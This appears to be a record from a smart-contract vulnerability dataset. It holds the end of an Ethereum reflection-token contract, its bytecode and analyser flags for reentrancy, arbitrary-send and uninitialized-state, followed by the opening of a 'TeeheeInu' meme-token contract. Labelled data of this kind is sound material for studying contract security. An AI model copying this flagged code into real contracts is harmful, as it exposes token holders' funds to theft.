_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190612bc3565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612736565b610418565b60405161016d9190612ba8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190612d45565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906126e3565b610447565b6040516101d59190612ba8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b6040516102009190612dba565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612776565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612649565b61064d565b60405161027d9190612d45565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf9190612ada565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190612bc3565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612736565b610857565b6040516103279190612ba8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b50610385600480360381019061038091906127d0565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a991906126a3565b610b03565b6040516103bb9190612d45565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600881526020017f654d617374696666000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016133be60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a609092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b590612ca5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a81611ac4565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbf565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90612ca5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5354494646000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81611c2d565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b90612ca5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4690612ca5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990612c65565b60405180910390fd5b610ac16064610ab383683635c9adc5dea00000611eb590919063ffffffff16565b611f3090919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190612d45565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690612ca5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612676565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612676565b6040518363ffffffff1660e01b8152600401610de4929190612af5565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612676565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190612b47565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e91906127fd565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611040929190612b1e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109291906127a3565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590612d05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590612c25565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190612d45565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090612ce5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090612be5565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390612cc5565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199d57601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90612d25565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b603c426118809190612e2a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b1561199b5760135482111561197857600080fd5b61198181611c2d565b600047905060008111156119995761199847611ac4565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a445750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a4e57600090505b611a5a84848484611f7a565b50505050565b6000838311158290611aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9f9190612bc3565b60405180910390fd5b5060008385611ab79190612f0b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b14600284611f3090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b3f573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b90600284611f3090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bbb573d6000803e3d6000fd5b5050565b6000600654821115611c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfd90612c05565b60405180910390fd5b6000611c10611fb9565b9050611c258184611f3090919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c6557611c64613066565b5b604051908082528060200260200182016040528015611c935781602001602082028036833780820191505090505b5090503081600081518110611cab57611caa613037565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d4d57600080fd5b505afa158015611d61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d859190612676565b81600181518110611d9957611d98613037565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e0030601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e64959493929190612d60565b600060405180830381600087803b158015611e7e57600080fd5b505af1158015611e92573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b600080831415611ec85760009050611f2a565b60008284611ed69190612eb1565b9050828482611ee59190612e80565b14611f25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1c90612c85565b60405180910390fd5b809150505b92915050565b6000611f7283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fe4565b905092915050565b80611f8857611f87612047565b5b611f93848484612078565b80611fa157611fa0611fa7565b5b50505050565b60026008819055506008600981905550565b6000806000611fc6612243565b91509150611fdd8183611f3090919063ffffffff16565b9250505090565b6000808311829061202b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120229190612bc3565b60405180910390fd5b506000838561203a9190612e80565b9050809150509392505050565b600060085414801561205b57506000600954145b1561206557612076565b600060088190555060006009819055505b565b60008060008060008061208a876122a5565b9550955095509550955095506120e886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061217d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121c9816123b5565b6121d38483612472565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122309190612d45565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea000009050612279683635c9adc5dea00000600654611f3090919063ffffffff16565b82101561229857600654683635c9adc5dea000009350935050506122a1565b81819350935050505b9091565b60008060008060008060008060006122c28a6008546009546124ac565b92509250925060006122d2611fb9565b905060008060006122e58e878787612542565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061234f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a60565b905092915050565b60008082846123669190612e2a565b9050838110156123ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a290612c45565b60405180910390fd5b8091505092915050565b60006123bf611fb9565b905060006123d68284611eb590919063ffffffff16565b905061242a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461235790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124878260065461230d90919063ffffffff16565b6006819055506124a28160075461235790919063ffffffff16565b6007819055505050565b6000806000806124d860646124ca888a611eb590919063ffffffff16565b611f3090919063ffffffff16565b9050600061250260646124f4888b611eb590919063ffffffff16565b611f3090919063ffffffff16565b9050600061252b8261251d858c61230d90919063ffffffff16565b61230d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061255b8589611eb590919063ffffffff16565b905060006125728689611eb590919063ffffffff16565b905060006125898789611eb590919063ffffffff16565b905060006125b2826125a4858761230d90919063ffffffff16565b61230d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506125da81613378565b92915050565b6000815190506125ef81613378565b92915050565b6000813590506126048161338f565b92915050565b6000815190506126198161338f565b92915050565b60008135905061262e816133a6565b92915050565b600081519050612643816133a6565b92915050565b60006020828403121561265f5761265e613095565b5b600061266d848285016125cb565b91505092915050565b60006020828403121561268c5761268b613095565b5b600061269a848285016125e0565b91505092915050565b600080604083850312156126ba576126b9613095565b5b60006126c8858286016125cb565b92505060206126d9858286016125cb565b9150509250929050565b6000806000606084860312156126fc576126fb613095565b5b600061270a868287016125cb565b935050602061271b868287016125cb565b925050604061272c8682870161261f565b9150509250925092565b6000806040838503121561274d5761274c613095565b5b600061275b858286016125cb565b925050602061276c8582860161261f565b9150509250929050565b60006020828403121561278c5761278b613095565b5b600061279a848285016125f5565b91505092915050565b6000602082840312156127b9576127b8613095565b5b60006127c78482850161260a565b91505092915050565b6000602082840312156127e6576127e5613095565b5b60006127f48482850161261f565b91505092915050565b60008060006060848603121561281657612815613095565b5b600061282486828701612634565b935050602061283586828701612634565b925050604061284686828701612634565b9150509250925092565b600061285c8383612868565b60208301905092915050565b61287181612f3f565b82525050565b61288081612f3f565b82525050565b600061289182612de5565b61289b8185612e08565b93506128a683612dd5565b8060005b838110156128d75781516128be8882612850565b97506128c983612dfb565b9250506001810190506128aa565b5085935050505092915050565b6128ed81612f51565b82525050565b6128fc81612f94565b82525050565b600061290d82612df0565b6129178185612e19565b9350612927818560208601612fa6565b6129308161309a565b840191505092915050565b6000612948602383612e19565b9150612953826130ab565b604082019050919050565b600061296b602a83612e19565b9150612976826130fa565b604082019050919050565b600061298e602283612e19565b915061299982613149565b604082019050919050565b60006129b1601b83612e19565b91506129bc82613198565b602082019050919050565b60006129d4601d83612e19565b91506129df826131c1565b602082019050919050565b60006129f7602183612e19565b9150612a02826131ea565b604082019050919050565b6000612a1a602083612e19565b9150612a2582613239565b602082019050919050565b6000612a3d602983612e19565b9150612a4882613262565b604082019050919050565b6000612a60602583612e19565b9150612a6b826132b1565b604082019050919050565b6000612a83602483612e19565b9150612a8e82613300565b604082019050919050565b6000612aa6601183612e19565b9150612ab18261334f565b602082019050919050565b612ac581612f7d565b82525050565b612ad481612f87565b82525050565b6000602082019050612aef6000830184612877565b92915050565b6000604082019050612b0a6000830185612877565b612b176020830184612877565b9392505050565b6000604082019050612b336000830185612877565b612b406020830184612abc565b9392505050565b600060c082019050612b5c6000830189612877565b612b696020830188612abc565b612b7660408301876128f3565b612b8360608301866128f3565b612b906080830185612877565b612b9d60a0830184612abc565b979650505050505050565b6000602082019050612bbd60008301846128e4565b92915050565b60006020820190508181036000830152612bdd8184612902565b905092915050565b60006020820190508181036000830152612bfe8161293b565b9050919050565b60006020820190508181036000830152612c1e8161295e565b9050919050565b60006020820190508181036000830152612c3e81612981565b9050919050565b60006020820190508181036000830152612c5e816129a4565b9050919050565b60006020820190508181036000830152612c7e816129c7565b9050919050565b60006020820190508181036000830152612c9e816129ea565b9050919050565b60006020820190508181036000830152612cbe81612a0d565b9050919050565b60006020820190508181036000830152612cde81612a30565b9050919050565b60006020820190508181036000830152612cfe81612a53565b9050919050565b60006020820190508181036000830152612d1e81612a76565b9050919050565b60006020820190508181036000830152612d3e81612a99565b9050919050565b6000602082019050612d5a6000830184612abc565b92915050565b600060a082019050612d756000830188612abc565b612d8260208301876128f3565b8181036040830152612d948186612886565b9050612da36060830185612877565b612db06080830184612abc565b9695505050505050565b6000602082019050612dcf6000830184612acb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e3582612f7d565b9150612e4083612f7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e7557612e74612fd9565b5b828201905092915050565b6000612e8b82612f7d565b9150612e9683612f7d565b925082612ea657612ea5613008565b5b828204905092915050565b6000612ebc82612f7d565b9150612ec783612f7d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f0057612eff612fd9565b5b828202905092915050565b6000612f1682612f7d565b9150612f2183612f7d565b925082821015612f3457612f33612fd9565b5b828203905092915050565b6000612f4a82612f5d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f9f82612f7d565b9050919050565b60005b83811015612fc4578082015181840152602081019050612fa9565b83811115612fd3576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61338181612f3f565b811461338c57600080fd5b50565b61339881612f51565b81146133a357600080fd5b50565b6133af81612f7d565b81146133ba57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220606883be22f194735abde77c90db423ed8f9b716f6f015d444d45af1c85cbad064736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,487 |
0x9b5d071a7e1d2c706a15b817ecccf5699442ac23
|
/**
🤭
Ownership Renounced + LP Locked for 30 days
Telegram: https://t.me/TeeheeInu
*/
/**
*/
/**
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TeeheeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"🤭";
string private constant _symbol = unicode"🤭";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
